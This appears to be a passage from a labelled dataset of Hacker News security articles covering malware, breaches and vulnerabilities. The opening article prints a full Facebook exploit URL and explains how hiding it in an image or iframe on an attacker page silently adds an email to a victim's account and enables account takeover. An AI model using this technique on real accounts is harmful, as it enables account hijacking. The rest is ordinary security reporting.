https://www.facebook.com/support/openid/accept_hotmail.php?appdata=%7B%22fbid%22%3A%22AQ3Tcly2XEfbzuCqyhZXfb8_hYHTnHPPd-CDsvdrLzDnWLpsKTMcaXtIzV0qywEwbPs%22%7D&code=a6893043-cf19-942b-c686-1aadb8b21026 ""

The source code confirms that the claim email process has succeeded:
Dan Melamed sustains that the exploit is very simple to conduct and it is advantaged by 2 important aspects:
The link expires in around 3 hours, giving plenty of time for a hacker to use it.
It can be visited on any Facebook account because there is no check to see who made this request.
To trick the victim, hacker has just to insert the (https://evilsite.com/evilpage.html) exploit link on a webpage as either an image or an iframe.
""Once clicked, the email (in this case: funnyluv196@hotmail.com) is instantly added to their Facebook account. The victim does not receive any notification whatsoever that this email has been added. The hacker can then reset the victim's password using the newly added email address. Thus allowing the attacker to take complete control over the Facebook account.""

This vulnerability has been confirmed to be patched by the Facebook Security Team, fortunately the group is very responsive as demonstrated for the fix of other recent flaws. It must be considered that the popular social networking platform is very attractive for cybercrime and many other categories of attackers, cyber security is a critical aspect for its business success.

",Vulnerability
Necro Python Malware Upgrades With New Exploits and Crypto Mining Capabilities,https://thehackernews.com/2021/06/necro-python-malware-upgrades-with-new.html,"New upgrades have been made to a Python-based ""self-replicating, polymorphic bot"" called Necro in what's seen as an attempt to improve its chances of infecting vulnerable systems and evading detection.
""Although the bot was originally discovered earlier this year, the latest activity shows numerous changes to the bot, ranging from different command-and-control (C2) communications and the addition of new exploits for spreading, most notably vulnerabilities in VMWare vSphere, SCO OpenServer, Vesta Control Panel and SMB-based exploits that were not present in the earlier iterations of the code,"" researchers from Cisco Talos said in a deep-dive published today.
Said to be in development as far back as 2015, Necro (aka N3Cr0m0rPh) targets both Linux and Windows devices, with heightened activity observed at the start of the year as part of a malware campaign dubbed ""FreakOut"" that was found exploiting vulnerabilities in network-attached storage (NAS) devices running on Linux machines to co-opt the machines into a botnet for launching distributed denial-of-service (DDoS) attacks and mining Monero cryptocurrency.
In addition to its DDoS and RAT-like functionalities to download and launch additional payloads, Necro is designed with stealth in mind by installing a rootkit that hides its presence on the system. What's more, the bot also injects malicious code to retrieve and execute a JavaScript-based miner from a remote server into HTML and PHP files on infected systems.
While previous versions of the malware exploited flaws in Liferay Portal, Laminas Project, and TerraMaster, the latest variants observed on May 11 and 18 feature command injection exploits targeting Vesta Control Panel, ZeroShell 3.9.0, SCO OpenServer 5.0.7, as well as a remote code execution flaw impacting VMWare vCenter (CVE-2021-21972) that was patched by the company in February.
A version of the botnet, released on May 18, also includes exploits for EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0145), both of which abuse a remote code execution vulnerability in Windows SMB protocol. These new additions serve to highlight that the malware author is actively developing new methods of spreading by taking advantage of publicly disclosed vulnerabilities.
Also of note is the incorporation of a polymorphic engine to mutate its source code with every iteration while keeping the original algorithm intact in a ""rudimentary"" attempt to limit the chances of being detected.
""Necro Python bot shows an actor that follows the latest development in remote command execution exploits on various web applications and includes the new exploits into the bot,"" Talos researchers said. ""This increases its chances of spreading and infecting systems. Users need to make sure to regularly apply the latest security updates to all of the applications, not just operating systems.""

",Malware
Apple Failed to Patch Rootpipe Mac OS X Yosemite Vulnerability,https://thehackernews.com/2015/04/rootpipe-mac-os-x-vulnerability.html,"Sad but True! Your Apple's Mac computer is vulnerable to a serious privilege escalation flaw, dubbed ""RootPipe,"" even if you are running the latest version of Mac OS X.

What's RootPipe?

Back in October 2014, a Swedish White Hat hacker Emil Kvarnhammar claimed to have discovered a critical privilege escalation vulnerability, he dubbed the backdoor as ""RootPipe,"" in some versions of Mac OS X including the then newest version 10.10 Yosemite.

The vulnerability (CVE-2015-1130) could allow an attacker to take full control of your desktop Mac computer or MacBook laptop, even without any authentication.

Keeping in mind the devastating effect of the RootPipe vulnerability, the researcher privately reported the flaw to Apple and did not disclose the details of the flaw publicly until the company released a patch to fix it.

Apple did release an update but failed to patch RootPipe:

Earlier this month, Apple released the latest version of Mac OS X Yosemite, i.e. OS X Yosemite 10.10.3, and claimed to have fixed the so-called Rootpipe backdoor, which had been residing on Mac computers since 2011.

However, the company did not fix the flaw in the older versions (below 10.10) of the operating system due to uncodified Apple policy on patching, leaving tens of millions of Mac users at risk.
""Apple indicated that this issue required a substantial amount of changes on their side and that they would not backport the fix to 10.9.x and older,"" Kvarnhammar said in a blog post on the TrueSec website.
But here's the worse part:

Apple's RootPipe vulnerability patch for Mac OS X Yosemite 10.10.3 is claimed to be itself vulnerable, which again left all the Mac machines vulnerable to the RootPipe attacks.

Holy Crap!

Patrick Wardle, an ex-NSA staffer and current director of R&D at Synack, claimed to have discovered…

...a new way around Apple's security fix to reabuse the Rootpipe vulnerability, again opening path to the highest privilege level – root access.

Though this time, the attack requires a hacker to have gained local privileges, which could most likely be obtained via a working exploit of other software sitting on Mac machines.

Here's the Video Demonstration:

Wardle has demonstrated his hack attack in action in a video proof-of-concept (POC), which you can watch below:

Wardle has already reported his findings to the Apple's security team and would not disclose the details of his attack code public before the company will not issue a complete and unbreakable fix.

Now, let's just hope to get a tough fix for Rootpipe backdoor this time from Apple. Last time the company took nearly six months to release a patch that was fooled by Wardle sitting on a flight.

",Vulnerability
OneLogin Password Manager Hacked; Users' Data Can be Decrypted,https://thehackernews.com/2017/06/onelogin-password-manager.html,"Do you use OneLogin password manager? If yes, then immediately change all your account passwords right now.

OneLogin, the cloud-based password management and identity management software company, has admitted that the company has suffered a data breach.

The company announced on Thursday that it had ""detected unauthorised access"" in its United States data region.

Although the company did not provide many details about the nature of the cyber attack, the statement released by the firm suggest that the data breach is extensive.

What Happened? OneLogin, which aims at offering a service that ""secures connections across all users, all devices, and every application,"" has not yet revealed potential weaknesses in its service that may have exposed its users' data in the first place.
""Today We detected unauthorised access to OneLogin data in our US data region,"" OneLogin chief information security officer Alvaro Hoyos said in a brief blog post-Wednesday night.
What type of Information? Although it is not clear exactly what data has been stolen in the hack, a detailed post on a support page that is accessible to customers only, apparently says that all customers served by the company's US data centre are affected, whose data has been compromised.

The stolen data also includes ""the ability to decrypt encrypted data.""

What is OneLogin doing? OneLogin has blocked the unauthorised access to its data centre and is actively working with law enforcement and security firm to investigate the incident and verify the extent of the impact.

""We have since blocked this unauthorised access, reported the matter to law enforcement, and are working with an independent security firm to determine how the unauthorised access happened and verify the extent of the impact of this incident,"" Hoyos said.

""We are actively working to determine how best to prevent such an incident from occurring in the future.""

What Should You Do Now? First of all, change passwords for all your accounts that you have linked with OneLogin.

The company has given customers an extensive list of actions to do to protect themselves and minimise the risk to their data, which includes:
Forcing a password reset for all of its customers.
Generating new security credentials, OAuth tokens, and certificates for apps and websites.
Recycling secrets stored in OneLogin's secure notes.
For any other queries, OneLogin customers can contact the company at security-support@onelogin.com.

You should also particularly be alert of the Phishing emails, which are usually the next step of cyber criminals after a breach. Phishing is designed to trick users into giving up further details like passwords and bank information.

This is the second data breach the company has suffered within a year. In August 2016, a OneLogin suffered a separate data breach in which an unauthorized hacker gained access to one of the company's standalone systems, which it used for ""log storage and analytics.""

",Data_Breaches
New Fileless Ransomware with Code Injection Ability Detected in the Wild,https://thehackernews.com/2017/06/fileless-ransomware-code-injection.html,"It is no secret that hackers and cybercriminals are becoming dramatically more adept, innovative, and stealthy with each passing day.

While new forms of cybercrime are on the rise, traditional activities seem to be shifting towards more clandestine techniques that come with limitless attack vectors with low detection rates.

Security researchers have recently discovered a new fileless ransomware, dubbed ""Sorebrect,"" which injects malicious code into a legitimate system process (svchost.exe) on a targeted system and then self-destruct itself in order to evade detection.

Unlike traditional ransomware, Sorebrect has been designed to target enterprise's servers and endpoint. The injected code then initiates the file encryption process on the local machine and connected network shares.

This fileless ransomware first compromises administrator credentials by brute forcing or some other means and then uses Microsoft's Sysinternals PsExec command-line utility to encrypt files.
""PsExec can enable attackers to run remotely executed commands, instead of providing and using an entire interactive login session, or manually transferring the malware into a remote machine, like in RDPs,"" Trend Micro says.

Sorebrect Also Encrypts Network Shares

Sorebrect also scans the local network for other connected computers with open shares and locks files available on them as well.
""If the share has been set up such that anyone connected to it has read-and-write access to it, the share will also be encrypted,"" researchers say.
The nasty ransomware then deletes all event logs (using wevtutil.exe) and shadow copies (using vssadmin) on the infected machine that could provide forensic evidence such as files executed on the system and their timestamps, which makes this threat hard-to-detect.

In addition, Sorebrect uses the Tor network protocol in an attempt to anonymize its communication with its command-and-control (C&C) server, just like almost every other malware.

Sorebrect Ransomware Spreads Worldwide

The Sorebrect fileless ransomware has been designed to target systems from various industries including manufacturing, technology, and telecommunications.

According to Trend Micro, Sorebrect was initially targeting Middle Eastern countries like Kuwait and Lebanon, but from last month, this threat has started infecting people in Canada, China, Croatia, Italy, Japan, Mexico, Russia, Taiwan, and the U.S.
""Given ransomware's potential impact and profitability, it wouldn't be a surprise if SOREBRECT turns up in other parts of the world, or even in the cybercriminal underground where it can be peddled as a service,"" the researchers note.
This is not the first time when researchers have come across Fileless malware. Two months ago, Talos researchers discovered a DNSMessenger attack that was completely Fileless and used DNS TXT messaging capabilities to compromise systems.

In February, Kaspersky researchers also discovered fileless malware that resided solely in the memory of the compromised computers, which was found targeting banks, telecommunication companies, and government organizations in 40 countries.

Ways to Protect Against Ransomware Attacks

Since the ransomware does not target individuals but organizations, sysadmins and information security professionals can protect themselves by:
Restricting user write permissions: a significant factor that exposes network shares to ransomware by giving users full permissions.
Limiting privilege for PsExec: Limit PsExec and provide permission to run them only to system administrators.
Keeping your system and network up-to-date: Always keep your operating system, software, and other applications updated.
Backing up your data regularly: To always have a tight grip on all your important files and documents, keep a good backup routine in place that makes their copies to an external storage device that is not always connected to your PC.
Adopting a cyber security-aware workforce: Educating your employees about malware, threat vectors and security measure always plays a major role in any organization.

",Cyber_Attack
Hijacking Servers Remotely with Hikit advanced persistent threat,https://thehackernews.com/2012/08/hijacking-servers-remotely-with-hikit.html,"Security researchers have revealed the existence of an advanced persistent threat that has been making the rounds since April 2011. Backdoor.Hikit is a dangerous backdoor Trojan that will damage infected system and files. Usually, Backdoor. Hikit will open backdoor to allow remote attackers to connect to the infected system and carry out harmful activities, such as stealing information or destroying files and programs.

It is really stubborn those antiviruses often fail to delete it for good, for it runs secretly and automatically when Windows boots without your knowledge or consent and can disguise it as fake system files or processes. Besides, many other threats, such as adware, redirecting virus, Trojan variants from family, such as Trojan Horse Generic 27.PN, BackDoor.Hupigon5.CJMY, Trojan.Zeroaccess.C, Trojan:win64/Sirefef.E and so on, which is really a threat to system and data security.

According to experts from security firm Symantec, it all starts with the unknown dropper which installs a DLL backdoor onto the compromised device. This backdoor then installs the driver component that allows the attacker to communicate with the infected computer.

Unlike many other pieces of malware, Hikit doesn't attempt to contact its command and control server once it infects a device. Instead, the kernel is designed to wait for the attacker to initiate communications, significantly reducing the threat's operational capabilities.
Backdoor.Hikit is compromised of four components:
Unknown dropper that compromises a system and installs a malicious dynamic-link library (DLL) file
DLL that implements back door functionality and installs a kernel driver
Kernel driver that monitors network traffic for connections from an attacker
Client tool that attackers use to connect to the back door
It is greatly possible that your online saved accounts and passwords, personal and financial information will be exposed and transfer to remote hackers, which will lead to identified thief. To secure your computer and keep it away from any threats, you must get rid of Backdoor.Hikit without any hesitation.

Symantec is continuing to investigate this threat and will provide more information when available.

",Malware
Global Internet Authority — ICANN Hacked Again!,https://thehackernews.com/2015/08/icann-hacked.html,"ICANN (Internet Corporation for Assigned Names and Numbers) – the organisation responsible for allocating domain names and IP addresses for the Internet – has been hacked, potentially compromising its customers' names, email addresses, hashed passwords, and more.

The US-administered non-profit corporation admitted on Wednesday that its server security was breached within the past week and that…

…an ""unauthorised person"" gained access to usernames, email addresses, and encrypted passwords for profile accounts on ICANN.org public website.

The organisation believes that the leaked information includes harmless information such as user preferences, public biographies, interests, newsletters, and subscriptions.

Less than ten months ago, ICANN was hacked by a hacker who gained access to its internal system following a spear phishing attack in November last year. Employees were tricked into handing over their credentials after receiving malicious emails apparently sent from the ICANN's own domain.

With those details, the hackers then managed to access ICANN systems, including the Centralized Zone Data System (CZDS), the domain registration Whois portal, the wiki pages of the ICANN Governmental Advisory Committee (GAC), and ICANN blog.

The passwords compromised in the latest data breach were encrypted one-way using the bcrypt algorithm.
""These encrypted passwords (hashes) are not easy to reverse,"" ICANN said, ""but as a precaution we [require] that all users reset their passwords.""
However, there's no evidence that any profile accounts, or its internal systems have been accessed without authorization, nor any operational data, financial data, or IANA (Internet Assigned Numbers Authority) systems were involved.

The IANA is also a part of ICANN, which performs the actual management of the DNS root zone, globally-unique names and numbers.

Users are recommended to change their online account passwords, or just not using the same password across multiple websites.

",Cyber_Attack
Developer expelled by Google Play Store on posting Malicious Android apps,https://thehackernews.com/2013/01/developer-expelled-by-google-play-store.html,"Google Play Developer Console enables developers to easily publish and distribute their applications directly to users of Android-compatible phones. Recently someone posted on Reddit that a developer is trying to spread malware by masquerading infected programs as legitimate software.

The account of the developer called, ""apkdeveloper"" and readers spotted that they are posting fake malware apps by names of famous android games and apps, using the word ""Super"" as suffix to them, making them seem as an upgraded version of the game.

The users can find the difference between the real app and malicious app by observing the device permissions, like as compared to the simple permissions like network access and read write access of the original Temple Run app, the 'Temple Run Super' app asks for sensitive information like location, phone status, identity and access to user accounts.

After many report abuse Google Play has removed the developer from the store page with all apps. Android smartphones and tablets, and device users are being cautioned to make efforts to protect themselves against it in the 2013.

Last week we also reported about another malware that is capable of attacks that involve execution of Distributed Denial of Service (DDoS).

",Malware
Chinese Hackers discovered second Android master key vulnerability,https://thehackernews.com/2013/07/chinese-hackers-discovered-second.html,"Android Security Squad, the China-based group that uncovered a second Android master key vulnerability that might be abused to modify smartphone apps without breaking their digital signatures.

The whole point of digitally signing a document or file is to prove the file hasn't been modified. The process uses a form of public-key cryptography. In Chinese version of hacking attack, malicious code can be added into the file headers, but the method is limited because targeted files need to be smaller than 64K in size.


APK files are packed using a version of the widespread ZIP archiving algorithm. Most ZIP implementations won't permit two same-named files in one archive, but the algorithm itself doesn't forbid that possibility. So basically, two versions of the classes.dex file are placed inside of the package, the original and a hacked alternative.

When checking an app's digital signature, the Android OS looks at the first matching file, but when actually executing and launching the file, it grabs the last one. To Trojanize an app, then, all you need to do is shoehorn your malicious code into it using a name that already exists within the app.

The flaw is very similar to the first master key vulnerability recently announced by researchers from mobile security firm Bluebox Security. According to BlueBox, 99% of Android devices are vulnerable to this attack. Google has already patched the flaw and posted it to the Android Open Source Project (AOSP).

You can use ReKey, a free mobile app that's designed to patch the Android master key vulnerability that's present in an estimated 900 million devices that run Android and that could be exploited by attackers to take full control of a device.

Always get your apps from legitimate sources, always check to make sure the developer name is valid, and configure your phone so it doesn't permit installing apps from unknown sources.

",Malware
Microsoft.com.br (Brasil) hacked by TG hacker,https://thehackernews.com/2011/07/microsoftcombr-brasil-hacked-by-tg.html,"Microsoft.com.br (Brasil) hacked by TG hacker
Microsoft Brasil https://microsoft.com.br/ Got defaced by Hacker named ""TG"".


Hacker redirect server address microsoft.com.br to the page of Microsoft Brazil. Instead of being sent to the developer page of Windows, the Internet user that accesses the address is faced with a message published by hackers as ""Ms Brazil 0wn3d by TG"". The forwarding service is hosted on an external server.

",Vulnerability
"How Russian Hackers Placed ""Digital Bomb"" Into the NASDAQ",https://thehackernews.com/2014/07/how-russian-hackers-placed-digital-bomb.html,"Four years ago, NASDAQ servers were compromised by Russian hackers, who were somehow able to insert a ""digital bomb"" into the systems of NASDAQ stock exchange, which would have been able to cause several damage to the computer systems in the stock market and could bring down the entire structure of the financial system of the United States.

Till now, identities of the hackers have not been identified by the agencies who are investigating the whole incident from past four years. However, it has been identified that the intruder was not a student or a teen, but the intelligence agency of another country.

The Hackers successfully infiltrated the network of NASDAQ stock exchange with customized malware which had ability to extract data from the systems and carry out surveillance as well. However, a closer look at the malware indicated that it was designed to cause widespread disruption in the NASDAQ computer system.

MALWARE EXPLOITS TWO 0-DAY VULNERABILITIES
According to a magazine cover story, the malware that was actually used by the hackers to infect NASDAQ servers exploited two mystery zero-day vulnerabilities.

The attack on the NASDAQ stock exchange was reported by Bloomberg Businessweek in its investigative cover story, ""The Nasdaq Hack"", which detailed the incidents took place at the NASDAQ leading up to the discovery of the inserted digital time bomb.

According to the magazine, it all started in October 2010, when the FBI was monitoring the Internet traffic in the United States and noticed a signal coming from NASDAQ, which indicated a malware infection. The most troubling part was that the malware was actually an attack code, which was created to cause significant damage, from another country's foreign intelligence agency.

In February 2011, NASDAQ stock exchange confirmed the breach to its network and notified its customers.

The feds alerted and warned NASDAQ officials, who already knew about a compromise in their systems but had neglected to bother and inform anyone about it. The U.S. National Security Agency (NSA) was called in to help investigate the hack attacks against the company that runs the NASDAQ stock market.

After a five-month investigation by the FBI, NSA, CIA and US Treasury Department, it was uncovered that the malware used two unnamed Zero-day security flaws, for which there were no patches existed. Rather, it is unclear that the hackers targeted which software, and whether the hackers used these zero-day vulnerabilities to infect NASDAQ systems or to exfiltrate data.

In fact, one of the forensic investigators described the NASDAQ servers as ""the dirty swamp,"" because very few records were available that would have revealed daily activities on the servers and helped retrace the steps of the intruders.
""The agents found little evidence of a broader attack. What they did find were systematic security failures riddling some of the most important U.S. financial institutions. It turned out that many on the list were vulnerable to the same attack that struck Nasdaq. They were spared only because the hackers hadn't bothered to try.""
Further analysis of the attacking code indicated that the malware attacked the NASDAQ systems was similar in design to the malware written by the Russian Federal Security Service for the purpose of spying and, NSA agents says, had the ability to seriously disrupt the exchange's activities.

But it is also possible that the malware which had been used belongs to another country, Bloomberg notes. China was a primary suspect, for both its intrinsic features and its ability to confuse an investigation.

Nasdaq spokesperson says that the malware did not reach the stock exchange, as originally stated in the cover story headline. ""The events of four years ago, while sensationalized by Businessweek, only confirmed what we have said historically: that none of Nasdaq's trading platforms or engines were ever compromised, and no evidence of exfiltration exists from directors' desks,"" said NASDAQ spokesman Ryan Wells.

",Cyber_Attack
US Warns of 'DeltaCharlie' – A North Korean DDoS Botnet Malware,https://thehackernews.com/2017/06/north-korea-hacking-malware.html,"The United States government has released a rare alert about an ongoing, eight-year-long North Korean state-sponsored hacking operation.

The joint report from the FBI and U.S. Department of Homeland Security (DHS) provided details on ""DeltaCharlie,"" a malware variant used by ""Hidden Cobra"" hacking group to infect hundreds of thousands of computers globally as part of its DDoS botnet network.

According to the report, the Hidden Cobra group of hackers are believed to be backed by the North Korean government and are known to launch cyber attacks against global institutions, including media organizations, aerospace and financial sectors, and critical infrastructure.

While the US government has labeled the North Korean hacking group Hidden Cobra, it is often known as Lazarus Group and Guardians of Peace – the one allegedly linked to the devastating WannaCry ransomware menace that shut down hospitals and businesses worldwide.

DeltaCharlie – DDoS Botnet Malware

The agencies identified IP addresses with ""high confidence"" associated with ""DeltaCharlie"" – a DDoS tool which the DHS and FBI believe North Korea uses to launch distributed denial-of-service (DDoS) attacks against its targets.

DeltaCharlie is capable of launching a variety of DDoS attacks on its targets, including Domain Name System (DNS) attacks, Network Time Protocol (NTP) attacks, and Character Generation Protocol (CGP) attacks.

The botnet malware is capable of downloading executables on the infected systems, updating its own binaries, changing its own configuration in real-time, terminating its processes, and activating and terminating DDoS attacks.

However, the DeltaCharlie DDoS malware is not new.

DeltaCharlie was initially reported by Novetta in their 2016 Operation Blockbuster Malware Report [PDF], which described this as the third botnet malware from the North Korean hacking group, after DeltaAlpha and DeltaBravo.

Other malware used by Hidden Cobra include Destover, Wild Positron or Duuzer, and Hangman with sophisticated capabilities, including DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware.

Hidden Cobra's Favorite Vulnerabilities

Operating since 2009, Hidden Cobra typically targets systems running older, unsupported versions of Microsoft operating systems, and commonly exploits vulnerabilities in Adobe Flash Player to gain an initial entry point into victim's machine.

These are the known vulnerabilities affecting various applications usually exploited by Hidden Cobra:
Hangul Word Processor bug (CVE-2015-6585)
Microsoft Silverlight flaw (CVE-2015-8651)
Adobe Flash Player 18.0.0.324 and 19.x vulnerability (CVE-2016-0034)
Adobe Flash Player 21.0.0.197 Vulnerability (CVE-2016-1019)
Adobe Flash Player 21.0.0.226 Vulnerability (CVE-2016-4117)
The simplest way to defend against such attacks is always to keep your operating system and installed software and applications up-to-date, and protect your network assets behind a firewall.

Since Adobe Flash Player is prone to many attacks and just today the company patched nine vulnerability in Player, you are advised to update or remove it completely from your computer.

The FBI and DHS have provided numerous indicators of compromise (IOCs), malware descriptions, network signatures, as well as host-based rules (YARA rules) in an attempt to help defenders detect activity conducted by the North Korean state-sponsored hacking group.
""If users or administrators detect the custom tools indicative of HIDDEN COBRA, these tools should be immediately flagged, reported to the DHS National Cybersecurity Communications and Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and given highest priority for enhanced mitigation,"" the alert reads.
Besides this, the agencies have also provided a long list of mitigations for users and network administrators, which you can follow here.

",Malware
New Mirai-Inspired Botnet Could Be Using Your KGUARD DVRs in Cyber Attacks,https://thehackernews.com/2021/07/new-mirai-inspired-botnet-could-be.html,"Cybersecurity researchers on Thursday revealed details about a new Mirai-inspired botnet called ""mirai_ptea"" that leverages an undisclosed vulnerability in digital video recorders (DVR) provided by KGUARD to propagate and carry out distributed denial-of-service (DDoS) attacks.
Chinese security firm Netlab 360 pinned the first probe against the flaw on March 23, 2021, before it detected active exploitation attempts by the botnet on June 22, 2021.
The Mirai botnet, since emerging on the scene in 2016, has been linked to a string of large-scale DDoS attacks, including one against DNS service provider Dyn in October 2016, causing major internet platforms and services to remain inaccessible to users in Europe and North America.
Since then, numerous variants of Mirai have sprung up on the threat landscape, in part due to the availability of its source code on the Internet. Mirai_ptea is no exception.
Not much has been disclosed about the security flaw in an attempt to prevent further exploitation, but the researchers said the KGUARD DVR firmware had vulnerable code prior to 2017 that enabled remote execution of system commands without authentication. At least approximately 3,000 devices exposed online are susceptible to the vulnerability.
Besides using Tor Proxy to communicate with the command-and-control (C2) server, an analysis of the mirai_ptea sample revealed extensive encryption of all sensitive resource information, which is decoded to establish a connection with the C2 server and retrieve attack commands for execution, including launching DDoS attacks.
""The geographic distribution of bot source IPs is [...] mainly concentrated in the United States, Korea and Brazil,"" the researchers noted, with infections reported across Europe, Asia, Australia, North and South America, and parts of Africa.

",Malware
19-Year-Old Teenager Arrested for Exploiting Heartbleed Bug to Steal Data,https://thehackernews.com/2014/04/19-year-old-teenager-arrested-for_16.html,"A teenager has been arrested by the Canadian police in relation to the infamous malicious breach on the country's taxpayer system using one of the most critical internet flaws, Heartbleed.

Heartbleed bug, that made headlines over past two weeks and every websites around the world flooded with its articles. Every informational website, Media and Security researchers are talking about Heartbleed, probably the biggest Internet vulnerability in recent history.

According to the Royal Canadian Mounted Police (RCMP), a 19-year-old 'Stephen Arthuro Solis-Reyes' of London, Ontario, is charged with the unauthorized access of the computer and criminal mischief in relation to the data breach of taxpayer's private information from the Canada Revenue Agency (CRA) website.

""The RCMP treated this breach of security as a high priority case and mobilized the necessary resources to resolve the matter as quickly as possible,"" Assistant Commissioner Gilles Michaud said in a statement.

""Investigators from National Division, along with our counterparts in 'Ontario' Division have been working tirelessly over the last four days analyzing data, following leads, conducting interviews, obtaining and executing legal authorizations and liaising with our partners,"" he added.

After the public disclosure of Heartbleed bug on April 9, Solis-Reyes allegedly exploited this most critical security vulnerability, present in the OpenSSL of the CRA servers, to extract the private and sensitive information, including the social insurance numbers from the company's system, before the computers were patched.

Heartbleed is a critical bug in the OpenSSL's implementation of the TLS/DTLS heartbeat extension that allows attackers to read portions of the affected server's memory, potentially revealing users data, that the server did not intend to reveal.

Though there were allegations on the U.S. intelligence agency NSA of using the Heartbleed vulnerabilities from years to gather confidential information. But, this is the first known incident of hacker exploiting the critical internet Heartbleed bug to steal and compromise the data from the servers which are running on an affected OpenSSL version.

Exploiting the Heartbleed bug itself rarely leaves any traces, unless the attacker is not sending millions of heartbeats continuously from his own IP addresses. ""The fact that they were able to trace it back to someone implies that it is not the work of organized crime or a professional hacker. It would be someone of very low skill."" said Mark Nunnikhoven, Trend Micro.

Solis-Reyes was arrested at his residence without incident on April 15 and is scheduled to appear in court in Ottawa on July 17, 2014, RCMP reported. The police also seized computer equipment from his residence, while the investigation is ongoing.

More on HeartBleed:
HeartBleed Bug Explained - 10 Most Frequently Asked Questions
How Heartbleed Bug Exposes Your Passwords to Hackers
German Developer responsible for HeartBleed Bug in OpenSSL
How to Protect yourself from the 'Heartbleed' Bug
Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable
NSA denies Report that Agency knew and exploited Heartbleed Vulnerability
Billions of Smartphone Users affected by Heartbleed Vulnerability

",Data_Breaches
DroidMorph Shows Popular Android Antivirus Fail to Detect Cloned Malicious Apps,https://thehackernews.com/2021/06/droidmorph-shows-popular-android.html,"A new research published by a group of academics has found that anti-virus programs for Android continue to remain vulnerable against different permutations of malware, in what could pose a serious risk as malicious actors evolve their toolsets to better evade analysis.
""Malware writers use stealthy mutations (morphing/obfuscations) to continuously develop malware clones, thwarting detection by signature based detectors,"" the researchers said. ""This attack of clones seriously threatens all the mobile platforms, especially Android.""
The findings were published in a study last week by researchers from Adana Science and Technology University, Turkey, and the National University of Science and Technology, Islamabad, Pakistan.
Unlike iOS, apps can be downloaded from third-party sources on Android devices, raising the possibility that unwitting users can install unverified and lookalike apps that clone a legitimate app's functionality but are built to trick targets into downloading apps laced with fraudulent code that are capable of stealing sensitive information.
What's more, malware authors can expand on this technique to develop multiple clones of the rogue software with varying levels of abstraction and obfuscation to disguise their true intent and slip through the defense barriers created by anti-malware engines.
To test and evaluate the resilience of commercially available anti-malware products against this attack, the researchers developed a tool called DroidMorph, which allows Android applications (APKs) to be ""morphed"" by decompiling the files to an intermediate form that's then modified and compiled to create clones, both benign and malware.
Morphing could be at different levels, the researchers noted, such as those that involve changing the class and method names in the source code or something non-trivial that could alter the execution flow of the program, including the call graph and the control-flow graph.
In a test conducted using 1,771 morphed APK variants generated through DroidMorph, the researchers found that 8 out of 17 leading commercial anti-malware programs failed to detect any of the cloned applications, with an average detection rate of 51.4% for class morphing, 58.8% for method morphing, and 54.1% for body morphing observed across all programs.
The anti-malware programs that were successfully bypassed include LineSecurity, MaxSecurity, DUSecurityLabs, AntivirusPro, 360Security, SecuritySystems, GoSecurity, and LAAntivirusLab.
As future work, the researchers outlined that they intend to add more obfuscations at different levels as well as enable morphing of metadata information such as permissions that are embedded in an APK file with an aim to bring down the detection rates.

",Malware
Microsoft Exchange Cyber Attack — What Do We Know So Far?,https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html,"Microsoft on Friday warned of active attacks exploiting unpatched Exchange Servers carried out by multiple threat actors, as the hacking campaign is believed to have infected tens of thousands of businesses, government entities in the U.S., Asia, and Europe.
The company said ""it continues to see increased use of these vulnerabilities in attacks targeting unpatched systems by multiple malicious actors beyond HAFNIUM,"" signaling an escalation that the breaches are no longer ""limited and targeted"" as was previously deemed.
According to independent cybersecurity journalist Brian Krebs, at least 30,000 entities across the U.S. — mainly small businesses, towns, cities, and local governments — have been compromised by an ""unusually aggressive"" Chinese group that has set its sights on stealing emails from victim organizations by exploiting previously undisclosed flaws in Exchange Server.
Victims are also being reported from outside the U.S., with email systems belonging to businesses in Norway, the Czech Republic and the Netherlands impacted in a series of hacking incidents abusing the vulnerabilities. The Norwegian National Security Authority said it has implemented a vulnerability scan of IP addresses in the country to identify vulnerable Exchange servers and ""continuously notify these companies.""
The colossal scale of the ongoing offensive against Microsoft's email servers also eclipses the SolarWinds hacking spree that came to light last December, which is said to have targeted as many as 18,000 customers of the IT management tools provider. But as it was with the SolarWinds hack, the attackers are likely to have only gone after high-value targets based on an initial reconnaissance of the victim machines.
Unpatched Exchange Servers at Risk of Exploitation
A successful exploitation of the flaws allows the adversaries to break into Microsoft Exchange Servers in target environments and subsequently allow the installation of unauthorized web-based backdoors to facilitate long-term access. With multiple threat actors leveraging these zero-day vulnerabilities, the post-exploitation activities are expected to differ from one group to the other based on their motives.
Chief among the vulnerabilities is CVE-2021-26855, also called ""ProxyLogon"" (no connection to ZeroLogon), which permits an attacker to bypass the authentication of an on-premises Microsoft Exchange Server that's able to receive untrusted connections from an external source on port 443. This is followed by the exploitation of CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 post-authentication, allowing the malicious party to gain remote access.
Taiwanese cybersecurity firm Devcore, which began an internal audit of Exchange Server security in October last year, noted in a timeline that it discovered both CVE-2021-26855 and CVE-2021-27065 within a 10-day period between December 10-20, 2020. After chaining these bugs into a workable pre-authentication RCE exploit, the company said it reported the issue to Microsoft on January 5, 2021, suggesting that Microsoft had almost two months to release a fix.
The four security issues in question were eventually patched by Microsoft as part of an emergency out-of-band security update last Tuesday, while warning that ""many nation-state actors and criminal groups will move quickly to take advantage of any unpatched systems.""
The fact that Microsoft also patched Exchange Server 2010 suggests that the vulnerabilities have been lurking in the code for more than ten years.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA), which released an emergency directive warning of ""active exploitation"" of the vulnerabilities, urged government agencies running vulnerable versions of Exchange Server to either update the software or disconnect the products from their networks.
""CISA is aware of widespread domestic and international exploitation of Microsoft Exchange Server vulnerabilities and urges scanning Exchange Server logs with Microsoft's IoC detection tool to help determine compromise,"" the agency tweeted on March 6.
It's worth noting that merely installing the patches issued by Microsoft would have no effect on servers that have already been backdoored. Organizations that have been breached to deploy the web shell and other post-exploitation tools continue to remain at risk of future compromise until the artifacts are completely rooted out from their networks.
Multiple Clusters Spotted
FireEye's Mandiant threat intelligence team said it ""observed multiple instances of abuse of Microsoft Exchange Server within at least one client environment"" since the start of the year. Cybersecurity firm Volexity, one of the firms credited with discovering the flaws, said the intrusion campaigns appeared to have started around January 6, 2021.
